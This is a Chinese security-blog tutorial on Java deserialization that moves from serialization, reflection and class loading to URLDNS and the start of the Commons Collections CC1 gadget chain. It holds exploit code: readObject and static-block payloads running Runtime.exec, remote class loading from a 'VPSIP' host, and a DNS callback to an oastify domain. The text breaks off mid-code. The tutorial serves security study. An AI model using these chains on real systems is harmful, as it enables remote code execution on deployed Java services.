freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java反序列化 | CC链专题
2024-08-20 15:49:04

仅用于网络安全研究,请遵守相关法律法规

一、序列化与反序列化

image-20240629215259119.png

1.1 序列化(Serialization)

“序列化”是一种把对象的状态转化成字节流的机制

条件:只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列

  1. 创建ObjectOutputStream:创建一个ObjectOutputStream对象,用于将对象序列化为字节流。

  2. 写入对象:使用writeObject()方法将对象写入到输出流中。

  3. 静态成员变量不可被序列化

  4. transient 标识的对象成员变量不参与序列化

好处

  • 想把内存中的对象保存到一个文件中或者数据库中时候;

  • 想用套接字在网络上传送对象的时候;

  • 想通过RMI传输对象的时候

1.1.1 案例

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Dog serializa_dog = new Dog("旺财");
        serializa serializa = new serializa();
        serializa.SerializaFile(serializa_dog, "ser.bin");
    }
}
class serializa {
    //序列化
    public void SerializaFile(Object obj,String path) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
}

class Dog implements Serializable {
    private String name;
    public int age;
    protected String color;
    public Dog(){}
    public Dog(String name){
        this.name=name;
    }
    public void Say(){
        System.out.println(name+"   "+"汪汪汪");
    }
    public void Say(String content){
        System.out.println(name+"  "+content);
    }

    @Override
    public String toString() {
        return "reflection.reflection.Dog{" +
                "name='" + name + '\'' +
                '}';
    }
}

序列化生成ser.bin文件

1.2 反序列化(Deserialization)

“反序列”是其相反的过程,把序列化成的字节流用来在内存中重新创建一个实际的Java对象。

  1. 创建ObjectInputStream:创建一个ObjectInputStream对象,用于从字节流中读取对象。

  2. 读取对象:使用readObject()方法从输入流中读取对象。

好处

  • 将序列化的文件流读取进行反序列化还原

1.2.1 案例

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Dog serializa_dog = new Dog("旺财");
        serializa serializa = new serializa();
        Dog unserializa_dog = (Dog) serializa.unserializafromFile("ser.bin");
        System.out.println(unserializa_dog);
    }
}
class serializa {
    //反序列化
    public Object unserializafromFile(String path) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        return objectInputStream.readObject();
    }
}

class Dog implements Serializable {
    private String name;
    public int age;
    protected String color;
    public Dog(){}
    public Dog(String name){
        this.name=name;
    }
    public void Say(){
        System.out.println(name+"   "+"汪汪汪");
    }
    public void Say(String content){
        System.out.println(name+"  "+content);
    }

    @Override
    public String toString() {
        return "reflection.reflection.Dog{" +
                "name='" + name + '\'' +
                '}';
    }
}

image-20240629220611288.png
到此好像都是正常的,那为什么会产生漏洞呢?

1.3 反序列化漏洞

反序列化所造成的安全问题

  • 反序列化类重写了readObject方法

  • 输出调用toString方法
    java原生反序列化出现安全问题主要是readObject方法被重写,readObject()是java在反序列化时会自动调用的方法。
    在PHP中也有类似的方法,即在PHP反序列化时候自动调用一些魔术方法,例如__wakeup等,调用重写的readObject方法,为什么会产生问题呢,如果里面有一些恶意代码,那就被执行了。

1.3.1 案例

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Dog serializa_dog = new Dog("旺财");
        serializa serializa = new serializa();
        serializa.SerializaFile(serializa_dog, "ser.bin");
        Dog unserializa_dog = (Dog) serializa.unserializafromFile("ser.bin");
        System.out.println(unserializa_dog);
    }
}
class serializa {
    //序列化
    public void SerializaFile(Object obj,String path) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    //反序列化
    public Object unserializafromFile(String path) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        return objectInputStream.readObject();
    }
}

class Dog implements Serializable {
    private String name;
    public int age;
    protected String color;
    public Dog(){}
    public Dog(String name){
        this.name=name;
    }
    public void Say(){
        System.out.println(name+"   "+"汪汪汪");
    }
    public void Say(String content){
        System.out.println(name+"  "+content);
    }

    @Override
    public String toString() {
        return "reflection.reflection.Dog{" +
                "name='" + name + '\'' +
                '}';
    }
    private void readObject(ObjectInputStream ois) throws Exception{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");//恶意代码
    }
}

image-20240629221514628.png
弹出了计算器,恶意代码被执行

1.4 为什么要重写readObject

在原生的readObject无法满足自身需求时,面向对象编程给我们提供了方法的重写,可以按照自己的逻辑来实现需求

二、反射

2.1 什么是反射

反射是java语言的一个特性,它允程序在运行时(注意不是编译的时候)来进行自我检查并且对内部的成员进行操作。

反射是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意方法和属性,这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

2.2 为什么用反射

  • 获取任意类的名称、package信息、所有属性、方法、注解、类型、类加载器等

  • 获取任意对象的属性,并且能改变对象的属性

  • 调用任意对象的方法

  • 动态修改类的属性

2.3 反射的好处

  1. 增加程序的灵活性,避免将程序写死到代码里。

  2. 代码简洁,提高代码的复用率,外部调用方便

  3. 对于任意一个类,都能够知道这个类的所有属性和方法

  4. 对于任意一个对象,都能够调用它的任意一个方法

2.4 反射实战

2.4.1 正常实例化对象

正常写类,我们是知道类的内部的属性和方法
反射其实就是解决我们不知道类内部有什么情况下去修改类的属性的

public class reflection {
    public static void main(String[] args){
        Person zhangsan = new Person("张三",18);
        zhangsan.Say();
        //返回类的原型 
        System.out.println(zhangsan.getClass());
    }
}
class Person {
    private String name;
    public int age;
    protected String color;
    public Person(){}
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }
    public void Say(){
        System.out.println(this.name+"说自己今年"+this.age+"岁了");
    }
    public void Say(String content){
        System.out.println(this.name+"说"+content);
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", color='" + color + '\'' +
                '}';
    }
}

2.4.2 反射实例化对象

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        /*无参创建原生类
         * Class.forName()方法是Java中动态加载类的一个常用方法
         * 它通过传入一个类的全限定名作为参数,返回一个表示该类的Class对象
         * */        Class<?> person = Class.forName("Person");
        System.out.println(person);
        //无参数地创建了"Person"类的一个实例对象
        // newInstance不能传递参数
        Object o = person.newInstance();
        System.out.println(o);

        //有参数地创建了"Person"类的一个实例对象
        Constructor ps=person.getDeclaredConstructor(String.class,int.class);
        Object o1 = ps.newInstance("张三", 18);
        System.out.println(o1);
    }
}
class Person {
    private String name;
    public int age;
    protected String color;
    public Person(){}
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }
    public void Say(){
        System.out.println(this.name+"说自己今年"+this.age+"岁了");
    }
    public void Say(String content){
        System.out.println(this.name+"说"+content);
    }
    private void SayHello(){
	    System.out.println("Hello");
	}

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", color='" + color + '\'' +
                '}';
    }
}

2.4.3 获取类的属性

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class reflection {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
        /*无参创建原生类
         * Class.forName()方法是Java中动态加载类的一个常用方法
         * 它通过传入一个类的全限定名作为参数,返回一个表示该类的Class对象
         * */
        Class<?> person = Class.forName("Person");
        System.out.println(person);
        //无参数地创建了"Person"类的一个实例对象
        Object o = person.newInstance();
        System.out.println(o);

        //有参数地创建了"Person"类的一个实例对象
        Constructor ps=person.getDeclaredConstructor(String.class,int.class);
        Object o1 = ps.newInstance("张三", 18);
        System.out.println(o1);

        //获取类的属性
        //getFields只能获取到public修饰的属性
        Field[] fields = person.getFields();
        for (Field field : fields) {
            System.out.println(field);
        }
        System.out.println("---------------------------");
        //getDeclaredFields获取所有属性,包括private修饰的属性
        Field[] declaredFields = person.getDeclaredFields();
        for (Field declaredField : declaredFields) {
            System.out.println(declaredField);
        }
        System.out.println("---------------------------");
        //单独获取public修饰的属性
        Field age = person.getField("age");
        System.out.println(age);
        System.out.println("---------------------------");
        //单独获取private修饰的属性
        Field name = person.getDeclaredField("name");
        System.out.println(name);
		System.out.println("---------------------------");
		//修改final修饰的变量
		Person person = new Person();
        System.out.println(Person.test);
        Field declaredField = person.getClass().getDeclaredField("test");
        Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL);
        declaredField.setAccessible(true);
        declaredField.set(person,"121312daw");
//        System.out.println(Person.test);
        System.out.println(declaredField.get(person));
    }
}
class Person {
    private String name;
    public int age;
    public static final String test = "abc";
    protected String color;
    public Person(){}
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }
    public void Say(){
        System.out.println(this.name+"说自己今年"+this.age+"岁了");
    }
    public void Say(String content){
        System.out.println(this.name+"说"+content);
    }
    private void SayHello(){
	    System.out.println("Hello");
	}

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", color='" + color + '\'' +
                '}';
    }
}

image-20240629234810922.png

2.4.4 获取类的方法

//获取类的方法
//getMethods只能获取到public修饰的方法
Method[] methods = person.getMethods();
for (Method method : methods) {
    System.out.println(method);
}
//getDeclaredMethods获取所有方法,包括private修饰的方法
System.out.println("---------------------------");
Method[] declaredMethods = person.getDeclaredMethods();
for (Method declaredMethod : declaredMethods) {
    System.out.println(declaredMethod);
}
System.out.println("---------------------------");
//单独获取public修饰的方法
Method say = person.getMethod("Say");
System.out.println(say);
System.out.println("---------------------------");
//单独获取private修饰的方法
Method say1 = person.getDeclaredMethod("SayHello");
System.out.println(say1);
//获取有参数的方法
Method say2 = person.getMethod("Say", String.class);
System.out.println(say2);

2.4.5 动态修改属性的值

//获取类的属性,因为是私有属性,所以需要设置权限,针对的对象是上面实例化的对象
Field name = person.getDeclaredField("name");
name.setAccessible(true);
name.set(o1,"王五");
System.out.println(o1);

//获取类的属性,因为是公有属性,所以不需要设置权限,针对的对象是上面实例化的对象
Field age = person.getField("age");
age.set(o1,20);
System.out.println(o1);

image-20240629235806893.png

2.4.6 动态调用方法

//调用公共方法,无参调用
say.invoke(o1);
//调用有参方法
say2.invoke(o1,"你好");
//调用私有方法
say1.setAccessible(true);
say1.invoke(o1);

image-20240630000611700.png

三、Java类加载

3.1 类加载机制

类加载过程详解 | JavaGuide
类加载器是一个负责加载类的对象,用于实现类加载过程中的加载一步,每个Java类都有一个引用指向加载他的classLoader

简单讲:主要作用是加载java类的字节码到JVM中,在内存中生成该类的对象
启动类加载器->扩展类加载器->应用类加载器(面向用户)->自定义类加载器
image-20240801141856361.jpeg

3.2 双亲委派模型的执行流程

protected Class<?> loadClass(String name, boolean resolve)
    throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        //首先,检查该类是否已经加载过
        Class c = findLoadedClass(name);
        if (c == null) {
            //如果 c 为 null,则说明该类没有被加载过
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    //当父类的加载器不为空,则通过父类的loadClass来加载该类
                    c = parent.loadClass(name, false);
                } else {
                    //当父类的加载器为空,则调用启动类加载器来加载该类
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                //非空父类的类加载器无法找到相应的类,则抛出异常
            }

            if (c == null) {
                //当父类加载器无法加载时,则调用findClass方法来加载该类
                //用户可通过覆写该方法,来自定义类加载器
                long t1 = System.nanoTime();
                c = findClass(name);

                //用于统计类加载器相关的信息
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }
        if (resolve) {
            //对类进行link操作
            resolveClass(c);
        }
        return c;
    }
}

3.3 动态类加载

  • Class.forname
    如上面反射中用到的Class.forName("Person");
    ClassLoader.loadClass不进行初始化

  • 底层实现逻辑(继承关系):
    ClassLoader->SecureClassLoader->URLClassLoader->APPClassLoader

  • 方法执行:
    loadClass->findClass->defineClass(从字节码文件加载类)

  • 支持的协议:
    file/http/jar包

3.4 本地类加载

//要加载的类
public class Person {
    static int age;
    static String name;
    static {
        System.out.println("静态代码块");
    }
    public Person()
    {
        System.out.println("无参构造函数");
    }
}
//javac Person.java  生成字节码文件放到指定位置

类加载器

import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;

public class ClassLoaders {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {

        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///路径\\")});
        Class<?> c = cl.loadClass("Person");
        Object obj = c.newInstance();
    }
}

image-20240630144419098.png

3.5 远程类加载

将Person类放到远程服务器

import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;

public class ClassLoaders {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {

        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("http://VPSIP/")});
        Class<?> c = cl.loadClass("Person");
        Object obj = c.newInstance();
    }
}

image-20240630144637677.png

3.6 defineclass

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ClassLoaders {
    public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {

        ClassLoader cl = ClassLoader.getSystemClassLoader();
        // 反射获取defineClass方法
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        // 读取字节码
        byte [] code = Files.readAllBytes(Paths.get("E:\\IDEA\\JAVA_project\\Person.class"));
        // 加载字节码
        Class person = (Class) defineClass.invoke(cl, "Person", code, 0, code.length);
        // 实例化
        person.newInstance();
    }
}

image-20240630170145234.png
利用:代码块中放恶意代码

import java.io.IOException;

public class Person {
    static int age;
    static String name;
    static {
        System.out.println("静态代码块");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public Person()
    {
        System.out.println("无参构造函数");
    }
}

3.7 动态代理

<参考1>
<参考2>

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            // 代理类调用的方法,参数与返回值和原方法相同
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println(method);
                if (method.getName().equals("morning")) {
                    System.out.println("Good morning, " + args[0]);
                }
                return null;
            }
        };
        // 生成动态代理类
        Hello hello = (Hello) Proxy.newProxyInstance(
                Hello.class.getClassLoader(), // 传入ClassLoader
                new Class[] { Hello.class }, // 传入要实现的接口
                handler); // 传入处理调用方法的InvocationHandler
        // 通过代理类调用 morning 方法
        hello.morning("Bob");
    }
}

interface Hello {
    void morning(String name);
}

四、反序列化链子的条件

  1. 入口类:可序列化,重写readObject方法,接收任意对象参数

  2. 终点类(危险函数):Runtime.getRuntime().exec("xx");(但是该类不可被序列化)

  3. 类加载执行危险函数
    流程如下:

  4. 入口类A反序列化,调用readObject方法,调用了参数C的X方法,invoke方法

  5. 目标类B,想要执行B的X方法

  6. 所以把C变成B即可走到X方法

五、URLDNS链分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void serializa(Object obj,String path) throws IOException
    {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserializa(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        return objectInputStream.readObject();
    }
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        /*
        * Gadget Chain:
        *   HashMap.readObject()
        *     HashMap.putVal()
        *       HashMap.hash()        *         URL.hashCode()
        * */
        URL url = new URL("http://87dvbb15vhz3p2nifky662nnve16pydn.oastify.com");
        //默认对象的hashcode值
        System.out.println(url.hashCode());

        HashMap<URL,Object> hashMap=new HashMap<>();
        hashMap.put(url,null);

        //反射修改url的hashcode值为-1走到URL的hashCode()方法
        Field hCode = URL.class.getDeclaredField("hashCode");
        hCode.setAccessible(true);
        hCode.setInt(url,-1);
        //序列化
        serializa(hashMap,"dns.bin");
        //反序列化调用HashMap的readObject()方法->触发hash()方法->触发URL的hashCode()方法->触发DNS解析
        unserializa("dns.bin");
    }
}

image-20240630151738176.png

5.1 调用链分析

image-20240630151423690.png
image-20240630151532360.png
如果键是URL类,则调用了URL.hashCode方法
image-20240630151237416.png
image-20240630151255873.png
hashCode值为-1才会走到else触发DNS请求,所以我们是通过反射修改其值

六、CC链

6.1 环境搭建

JDK版本:jdk8u65,下载地址
再下载对应源码,点击左侧zip下载
将其jdk8u65下的src.zip解压到当前目录,然后将对应源码,找到jdk-af660750b2f4\src\share\classes下的sun解压到刚刚的src下即可
image-20240630180404583.png
在IDEA里项目配置即可
image-20240630180911233.png
或者新建一个maven项目就行,选择对应的JDK版本
pom依赖,依赖源码直接IDEA加载或者安装maven

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

6.2 CC1-1

危险函数执行点:Commons Collections库中的Tranformer接口下的transform方法
向上回溯,直到找到readObject方法

6.2.1 终点

Tranformer接口
image-20240630220921743.png
接口有哪些实现类
image-20240630221827343.png
InvokerTransformer类,同时继承了Serializable,符合要求
且transform()方法就是反射调用的过程

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    Runtime runTime = Runtime.getRuntime();
    // 反射调用Runtime.getRuntime().exec()
    Class c = runTime.getClass();
    Method exec = c.getMethod("exec", String.class);
    exec.invoke(runTime,"calc");

    // 漏洞执行终点
    InvokerTransformer exec1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    exec1.transform(runTime);
    }

image-20240630222149568.png

6.2.2 回溯(第一站)

谁调用了InvokerTransformer类的transform()方法
image-20240630222448112.png
我们直接看TransformedMap类下的checkSetValue()方法

//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }

protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
}

可以看到构造器和方法都是protected权限的,也就是说只能本类内部访问,看看谁会实例化这个类,找到decorate()方法
image-20240630223012290.png

Runtime runTime = Runtime.getRuntime();
//危险函数
InvokerTrans
# 漏洞 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录